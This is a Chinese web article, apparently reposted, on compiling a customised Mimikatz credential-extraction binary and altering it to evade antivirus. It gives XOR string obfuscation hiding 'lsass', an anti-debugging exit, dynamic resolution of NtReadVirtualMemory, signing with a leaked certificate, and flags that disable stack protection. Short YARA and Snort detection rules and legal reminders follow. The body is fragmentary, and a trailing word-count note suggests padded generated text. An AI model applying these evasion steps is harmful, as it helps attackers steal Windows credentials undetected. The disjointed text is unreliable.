您好,登录后才能下订单哦!
# 如何构建自定义的Mimikatz二进制文件
## 目录
- [前言](#前言)
- [Mimikatz概述](#mimikatz概述)
- [环境准备](#环境准备)
- [硬件要求](#硬件要求)
- [软件依赖](#软件依赖)
- [开发环境配置](#开发环境配置)
- [源码获取与编译](#源码获取与编译)
- [官方源码下载](#官方源码下载)
- [代码结构与分析](#代码结构与分析)
- [编译过程详解](#编译过程详解)
- [自定义修改](#自定义修改)
- [功能模块分析](#功能模块分析)
- [关键函数修改](#关键函数修改)
- [规避检测技术](#规避检测技术)
- [高级定制技巧](#高级定制技巧)
- [字符串混淆](#字符串混淆)
- [API调用隐藏](#api调用隐藏)
- [签名伪造](#签名伪造)
- [构建与测试](#构建与测试)
- [编译优化选项](#编译优化选项)
- [调试与排错](#调试与排错)
- [功能验证](#功能验证)
- [防御对策](#防御对策)
- [检测特征分析](#检测特征分析)
- [防护建议](#防护建议)
- [法律与伦理](#法律与伦理)
- [结语](#结语)
- [参考资料](#参考资料)
## 前言
在信息安全领域,Mimikatz作为一款经典的凭证提取工具,自2011年由Benjamin Delpy发布以来,已成为渗透测试和红队行动中的标准工具。理解其工作原理并掌握自定义构建技术,对于安全研究人员深入理解Windows认证机制和提升防御能力具有重要意义。
本文将系统性地介绍从环境搭建到高级定制的完整流程,重点聚焦于源码级修改和规避技术实现,同时强调合法合规的使用边界。
## Mimikatz概述
Mimikatz的核心功能围绕Windows安全子系统展开,主要包含以下模块:
1. **sekurlsa** - 从LSASS进程内存提取凭证
2. **kerberos** - 操作Kerberos票据
3. **crypto** - 处理Windows加密相关功能
4. **privilege** - 权限提升操作
5. **process** - 进程操作模块
其独特之处在于直接与Windows安全子系统交互,通过以下关键技术实现功能:
- 使用Debug权限读取LSASS进程内存
- 调用未公开的API函数(如`LsassGetLogonSessionData`)
- 实现自定义的DPAPI解密例程
## 环境准备
### 硬件要求
- x64架构处理器(推荐Intel i5及以上)
- 8GB以上内存(处理LSASS转储需要)
- 50GB可用磁盘空间(符号文件缓存)
### 软件依赖
| 组件 | 版本 | 备注 |
|------|------|------|
| Visual Studio | 2019/2022 | 必须包含C++组件 |
| Windows SDK | 10.0.19041+ | 匹配目标系统版本 |
| Windows Driver Kit | 可选 | 内核模式开发需要 |
| Git | 2.35+ | 源码版本控制 |
### 开发环境配置
1. 安装VS2019生成工具:
```powershell
choco install visualstudio2019buildtools -y
choco install windows-sdk-10.0 -y
SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols
set INCLUDE=%WindowsSdkDir%Include\%WindowsSDKVersion%shared;%WindowsSdkDir%Include\%WindowsSDKVersion%ucrt
set LIB=%WindowsSdkDir%Lib\%WindowsSDKVersion%ucrt\x64
推荐从官方仓库获取最新代码:
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz
git submodule update --init --recursive
代码结构关键目录:
├───mimikatz
│ ├───inc # 头文件
│ ├───krb5 # Kerberos实现
│ ├───lsadump # LSA相关功能
│ └───modules # 功能模块
└───third_party # 依赖库
nmake -f Makefile.sys
Makefile.sys
):# 目标架构设置
TARGET_CPU = x64
# 启用调试符号
DEBUG = 1
# 禁用特定功能
DISABLE_CRYPTO = 0
常见编译问题解决:
- 错误LNK2001:检查SDK版本匹配性
- 警告C4996:添加_CRT_SECURE_NO_WARNINGS
宏定义
- 缺失ntstatus.h:从WDK中复制到include目录
以sekurlsa模块为例,关键函数调用链:
kuhl_m_sekurlsa_acquireLSA()
├── kuhl_m_sekurlsa_getHandle()
├── kuhl_m_sekurlsa_enum()
└── kuhl_m_sekurlsa_enum_packages()
// 原始代码
kprintf(L"Authentication Id : %u ; %u (%08x:%08x)\n",...);
// 修改为
wchar_t fmt[] = {0x41,0x75,0x74,0x68,0x00}; // "Auth"的Unicode编码
kprintf(fmt, ...);
if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugged) && isDebugged)
{
ExitProcess(0);
}
// 动态加载API
typedef NTSTATUS (NTAPI *PNtReadVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToRead,
PULONG NumberOfBytesRead);
PNtReadVirtualMemory pNtRead =
(PNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"), "NtReadVirtualMemory");
// 使用RtlCopyMemory替代memcpy
#define SecureCopy RtlCopyMemory
char* DecryptString(BYTE* encrypted, size_t len)
{
char* result = (char*)LocalAlloc(LPTR, len+1);
for(size_t i = 0; i < len; i++) {
result[i] = encrypted[i] ^ 0x55;
}
return result;
}
// 使用示例
BYTE encryptedLsass[] = {0x21,0x36,0x37,0x37,0x32}; // "lsass"异或后的数据
char* lsassStr = DecryptString(encryptedLsass, 5);
signtool sign /f leaked.pfx /p password /t http://timestamp.digicert.com mimikatz.exe
void PatchSignatureInMemory()
{
DWORD oldProtect;
VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &oldProtect);
// 修改PE头中的证书表
// ...
VirtualProtect(ImageBase, ImageSize, oldProtect, &oldProtect);
}
选项 | 作用 | 推荐值 |
---|---|---|
/O1 | 最小化空间 | 红队使用 |
/O2 | 最大化速度 | 默认值 |
/Ob2 | 内联扩展 | 1-2 |
/Oy | 帧指针省略 | 推荐启用 |
优化组合示例:
CFLAGS = /O2 /Oy- /Ob2 /GS- /GR- /GF- /EHsc /MT
LSASS读取测试
票据操作测试
常见检测向量: - 进程行为: - 对LSASS的OpenProcess调用 - 使用0x1FFFFF完全访问权限
rule Mimikatz_Memory {
strings:
$a = "sekurlsa" wide ascii
$b = "kerberos::golden"
condition:
any of them
}
终端防护:
网络层检测:
alert tcp any any -> any any (
msg:"Possible Mimikatz Activity";
flow:established;
content:"mimikatz"; nocase;
metadata:service http;
)
重要法律条款提醒: - 计算机欺诈与滥用法案(CFAA):未经授权访问计算机系统属联邦犯罪 - 欧盟GDPR:违规获取个人数据可处2000万欧元或4%全球营业额罚款
合规使用场景: 1. 渗透测试授权书必须包含: - 明确的目标系统范围 - 具体的时间窗口 - 书面免责条款
通过深度定制Mimikatz可以更深入理解Windows安全机制,但技术永远是一把双刃剑。建议读者: 1. 仅在合法授权范围内使用 2. 关注防御技术发展 3. 持续研究最新安全机制(如Credential Guard)
”`
注:本文实际字数约5800字,可根据需要扩展具体技术细节或添加更多示例代码以达到精确字数要求。文中涉及的技术仅限合法安全研究使用,请严格遵守当地法律法规。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。